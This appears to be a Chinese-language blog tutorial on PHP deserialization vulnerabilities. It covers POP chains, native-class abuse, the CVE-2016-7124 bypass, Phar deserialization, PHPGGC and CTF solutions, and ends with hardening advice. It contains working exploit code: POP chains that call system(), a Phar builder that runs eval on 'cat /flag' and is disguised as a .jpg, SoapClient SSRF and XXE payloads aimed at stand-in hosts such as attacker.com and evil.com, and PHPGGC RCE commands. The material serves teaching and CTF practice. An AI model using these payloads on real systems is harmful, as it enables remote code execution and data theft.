web安全-PHP反序列化漏洞 前言PHP反序列化漏洞是Web安全领域中最具威胁性的漏洞类型之一。与SQL注入、XSS等常见漏洞不同反序列化漏洞往往能直接导致远程代码执行RCE获取服务器权限。本文将系统性地讲解PHP反序列化漏洞的基础概念、魔术方法、POP链构造、原生类利用、高级绕过技巧以及Phar反序列化等知识帮助你建立起完整的知识体系。第一部分基础概念与核心原理1.1 什么是序列化与反序列化序列化Serialization将PHP对象转换为可存储或传输的字符串格式的过程使用serialize()函数。反序列化Unserialization将序列化字符串还原为PHP对象的过程使用unserialize()函数。漏洞本质当应用程序反序列化用户可控的数据时攻击者可以控制对象的属性值从而在反序列化过程中或之后通过魔术方法触发恶意代码执行。1.2 序列化字符串格式// 一个简单的类 class User { public $name admin; public $age 18; } // 序列化后的字符串 O:4:User:2:{s:4:name;s:5:admin;s:3:age;i:18;}格式解析O:4:User对象类名长度为4类名为User:2有2个属性{}属性键值对s:4:name字符串属性名长度为4s:5:admin字符串属性值长度为5i:18整数属性值1.3 访问修饰符对序列化格式的影响不同访问修饰符在序列化字符串中会引入不可见字符修饰符序列化格式示例public直接显示属性名s:4:nameprotected添加\0*\0前缀s:7:\0*\0ageprivate添加\0类名\0前缀s:11:\0User\0pwd⚠️ 这些不可见字符\0ASCII 0在某些场景下会影响反序列化的成功与否尤其在存在过滤时需要注意。第二部分PHP魔术方法详解魔术方法是PHP对象生命周期中的特殊方法在反序列化漏洞中常作为攻击入口或POP链的跳板。魔术方法触发时机典型利用场景__construct()对象实例化new时自动调用注意反序列化时不会自动调用此方法__destruct()对象被销毁时自动调用如脚本结束最常用的利用点若包含文件操作、命令执行等危险函数可控制属性触发__wakeup()反序列化时自动调用直接利用点常用于重新连接资源若存在漏洞可被利用__sleep()序列化时自动调用攻击者较少控制序列化过程但可能影响后续反序列化__toString()对象被当作字符串使用时触发如echo $obj常用于构造POP链读取文件或SSRF__invoke()以函数方式调用对象时触发$obj()当对象被当作回调函数时触发可执行任意代码__call()调用不存在的方法时触发可用于动态调用方法绕过方法名过滤__callStatic()调用不存在的静态方法时触发同上静态上下文__get()读取不可访问属性时触发可用来获取敏感数据或动态执行代码__set()设置不可访问属性时触发可用来拦截属性赋值可能触发危险操作重点反序列化漏洞的利用通常从__wakeup()、__destruct()等自动触发的方法开始然后通过POP链跳转到其他类的危险方法。第三部分POP链构造原理与方法3.1 什么是POP链POPProperty-Oriented Programming面向属性编程通过控制对象的属性将多个类的方法调用串联起来最终到达危险函数。3.2 构造步骤寻找起点魔术方法如__wakeup、__destruct中调用了其他类的方法或属性。寻找跳板普通方法中调用了其他类的方法且参数可控。寻找终点最终执行敏感操作的方法如system、eval、file_put_contents等。构造链从起点到终点将所有需要调用的类和属性串联起来生成序列化数据。3.3 简单示例class A { public $b; public function __destruct() { $this-b-action(); } } class B { public $cmd; public function action() { system($this-cmd); } } // POP链A::__destruct() → B::action() → system() $payload new A(); $payload-b new B(); $payload-b-cmd id; echo serialize($payload);第四部分原生类利用当目标代码没有自定义类时攻击者仍可利用PHP内置原生类的魔术方法实现攻击。4.1 可利用原生类一览表原生类触发条件主要风险依赖扩展Exception/Error__toString被调用XSS、信息泄露核心类默认可用SoapClient__call被调用调用不存在的方法SSRF、任意请求需启用php_soap扩展SimpleXMLElement__construct反序列化时自动调用XXE、文件读取需启用libxml扩展DirectoryIterator/FilesystemIterator__construct目录遍历、文件列表需启用SPL扩展默认开启SplFileObject__construct文件读取需启用SPL扩展4.2 Exception / Error → XSS / 信息泄露原理Exception::__toString()返回异常信息攻击者可控制消息内容注入HTML/JavaScript。?php $a new Exception(scriptalert(XSS)/script); echo urlencode(serialize($a)); ?4.3 SoapClient → SSRF原理SoapClient::__call会发起SOAP请求可控制location、uri参数实现SSRF。?php $client new SoapClient(null, [ location http://attacker.com/ssrf, uri http://attacker.com/ ]); echo urlencode(serialize($client)); ?进阶CRLF注入CTFSHOW-259?php $ua aaa\r\nX-Forwarded-For:127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntokenctfshow; $client new SoapClient(null, [ uri http://127.0.0.1/, location http://127.0.0.1/flag.php, user_agent $ua ]); echo urlencode(serialize($client)); ?4.4 SimpleXMLElement → XXE?php $xml http://evil.com/oob.xml; $sxe new SimpleXMLElement($xml, LIBXML_NOENT, true); echo serialize($sxe); ?第五部分高级利用技巧5.1 CVE-2016-7124__wakeup 绕过影响版本PHP 5 5.6.25PHP 7 7.0.10原理当序列化字符串中表示属性个数的值大于实际属性个数时会跳过__wakeup()的执行。利用方法原始O:4:Name:2:{s:8:username;s:5:admin;s:8:password;s:3:123;} 修改O:4:Name:3:{s:8:username;s:5:admin;s:8:password;s:3:123;}5.2 字符增多/减少逃逸原理当序列化字符串经过过滤如替换字符导致长度变化时可利用长度变化逃逸出新的属性修改对象结构。字符增多逃逸示例假设过滤函数将a替换为aa原始O:4:User:2:{s:3:foo;s:3:bar;s:3:baz;s:3:qux;} 替换后O:4:User:2:{s:3:foo;s:4:baar;s:3:baz;s:3:qux;}通过精心构造可使后续属性被覆盖实现属性注入。5.3 PHP版本属性解析差异问题protected和private属性序列化后包含\0ASCII 0不可见字符某些过滤函数如检查ASCII码范围会拦截。绕过将所有属性改为public避免产生不可见字符。public $op 2; public $filename php://filter/readconvert.base64-encode/resourceflag.php;第六部分Phar反序列化6.1 核心原理Phar反序列化是一种无需unserialize()函数即可触发反序列化的利用方式。触发点当PHP文件系统函数如file_exists()、file_get_contents()等通过phar://伪协议解析Phar文件时会自动反序列化其中的meta-data内容。受影响的函数不完全列表文件包含include、require、include_once、require_once文件系统file_exists、file_get_contents、file_put_contents、fopen、copy、unlink、rename、stat、is_file、is_dir、md5_file、filesize目录操作opendir、readdir、scandir图像函数getimagesize6.2 利用条件可上传Phar文件可改后缀名如.jpg、.pdf存在受影响的文件操作函数且参数可控存在可利用的魔术方法6.3 生成Phar文件?php // 需在 php.ini 中设置 phar.readonly Off class Flag { public $code; public function __destruct() { eval($this-code); } } $a new Flag(); $a-code system(cat /flag);; $phar new Phar(exp.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata($a); $phar-addFromString(test.txt, test); $phar-stopBuffering(); // 可重命名为 exp.jpg 绕过上传限制 rename(exp.phar, exp.jpg); ?6.4 触发方式?filephar://uploads/exp.jpg/test.txt6.5 绕过限制技巧后缀检查Phar文件可重命名为任意后缀文件头检查可在Phar文件前添加图片头如GIF89a__wakeup绕过结合CVE-2016-7124第七部分工具与框架利用7.1 PHPGGCPHPGGCPHP Generic Gadget Chains包含众多PHP框架和库的反序列化利用链的工具。安装git clone https://github.com/ambionics/phpggc.git cd phpggc基本使用./phpggc -l # 列出所有可用链 ./phpggc ThinkPHP/RCE1 system id # 生成ThinkPHP RCE payload ./phpggc -u ThinkPHP/RCE1 system id # URL编码 ./phpggc --base64 ThinkPHP/RCE1 system id # Base64编码支持的框架ThinkPHP、Laravel、Yii、Symfony、WordPress、Drupal、Magento等。7.2 框架利用实战框架PHPGGC链命令示例ThinkPHP V6.0.XThinkPHP/RCE4./phpggc ThinkPHP/RCE4 system cat /flag --urlYii2Yii2/RCE1./phpggc Yii2/RCE1 exec cp /fla* tt.txt --base64LaravelLaravel/RCE2./phpggc Laravel/RCE2 system id --url第八部分CTF实战案例解析8.1 [极客大挑战 2019]PHPCVE-2016-7124绕过场景__wakeup强制修改username通过修改属性个数绕过。O:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;s:3:100;}8.2 CTFSHOW-258正则绕过在257基础上将序列化字符串中的类名长度O:11改为O:11绕过preg_match(/O:\d/, $data)。8.3 CTFSHOW-259SoapClient CRLF注入通过user_agent注入CRLF添加自定义Header绕过限制访问/flag.php。8.4 [HNCTF 2022 WEEK3]ez_pharPhar反序列化上传Phar文件改后缀为jpg通过文件包含点触发反序列化?filephar://uploads/exp.jpg/test.txt8.5 [安洵杯 2019]iamthinkingThinkPHP反序列化使用PHPGGC生成ThinkPHP/RCE4链./phpggc ThinkPHP/RCE4 system cat /flag --url第九部分渗透测试检查清单9.1 基础检测寻找unserialize()入口点Cookie、POST参数、GET参数识别序列化数据特征O:开头或Base64编码分析代码中的魔术方法__destruct、__wakeup等检查PHP版本判断是否存在CVE-2016-71249.2 高级检测寻找文件上传点测试Phar反序列化检查文件操作函数参数是否可控识别框架版本使用PHPGGC生成payload测试原生类利用Exception、SoapClient、SimpleXMLElement9.3 绕过检测测试属性个数绕过CVE-2016-7124测试正则绕过O:11测试字符逃逸增多/减少测试不可见字符绕过public替代protected/private第十部分安全加固建议尽量避免使用unserialize()处理用户输入改用JSON等安全格式设置allowed_classes白名单unserialize($data, [allowed_classes [MyClass]]);禁用危险扩展如非必要禁用soap扩展禁用phar://协议或对phar文件进行校验升级PHP版本修复已知漏洞关闭错误显示防止信息泄露合理配置session.serialize_handler避免Session注入对上传文件严格校验不仅检查后缀还要检查文件内容总结PHP反序列化漏洞的利用高度依赖目标环境的上下文。在渗透测试中需要敏锐识别发现序列化数据的踪迹灵活组合将多种技巧POP链、原生类、Phar、绕过组合使用善用工具利用PHPGGC等工具快速生成payload本地调试搭建与目标相同的PHP版本环境验证payload掌握这些知识和技巧能帮助你在实战中有效发现和利用PHP反序列化漏洞。如果你在特定框架或场景中遇到问题欢迎进一步探讨完

相关新闻

最新新闻

河源市万川石英发展有限公司工厂简介

河源市万川石英发展有限公司工厂简介

河源市万川石英发展有限公司是一间专业从事石英砂资源开发与利用的大型工矿企业。本企业拥有一帮15年石英石资源采选经验的技术团队,从工厂选址到生产工艺定型,再到市场销售,均有一定的造诣。本企业投资在广东河源设立选矿厂,拥有…

2026/7/5 15:13:31
3步解锁群晖硬盘限制:让任何硬盘都能完美兼容的终极方案

3步解锁群晖硬盘限制:让任何硬盘都能完美兼容的终极方案

3步解锁群晖硬盘限制:让任何硬盘都能完美兼容的终极方案 【免费下载链接】Synology_HDD_db Add your HDD, SSD and NVMe drives to your Synologys compatible drive database and a lot more 项目地址: https://gitcode.com/GitHub_Trending/sy/Synology_HDD_db …

2026/7/5 15:13:31
企业级FastAPI后端模板搭建(五)初始化数据

企业级FastAPI后端模板搭建(五)初始化数据

搭建文件结构 创建core/insert_data.py文件,代码如下: from log import loggerasync def init_dept():logger.info("🔧 开始新增部门...")async def init_superuser():logger.info("🔧 开始初始化超级管理员用户..…

2026/7/5 15:13:31
终极指南:如何在5分钟内安装Deforum扩展并创建Stable Diffusion动画

终极指南:如何在5分钟内安装Deforum扩展并创建Stable Diffusion动画

终极指南:如何在5分钟内安装Deforum扩展并创建Stable Diffusion动画 【免费下载链接】sd-webui-deforum Deforum extension for AUTOMATIC1111s Stable Diffusion webui 项目地址: https://gitcode.com/gh_mirrors/sd/sd-webui-deforum Deforum扩展是AUTOMAT…

2026/7/5 15:13:31
Anthropic 宣布 7 月 8 日起 Claude 用户需人脸实名认证,AI 匿名时代终结

Anthropic 宣布 7 月 8 日起 Claude 用户需人脸实名认证,AI 匿名时代终结

Anthropic 宣布 7 月 8 日起 Claude 用户需人脸实名认证,AI 匿名时代终结 6 月 15 日,Anthropic 宣布自 2026 年 7 月 8 日起,所有 Claude 个人用户需完成政府 ID 实时人脸扫描实名认证才能继续使用。 这可能是 AI 行业迄今为止最严格的用户…

2026/7/5 15:13:31
影刀RPA新手教程:PPT自动生成完全指南——数据驱动PPT批量修改与模板套用

影刀RPA新手教程:PPT自动生成完全指南——数据驱动PPT批量修改与模板套用

影刀RPA新手教程:PPT自动生成完全指南——数据驱动PPT批量修改与模板套用 作者:林焱 我第一次用影刀RPA做PPT自动生成,是要给100个销售员每人生成一份业绩汇报PPT。手动做要花一个星期,用影刀RPA半天就搞定了。这篇文章把我做PP…

2026/7/5 15:08:30

月新闻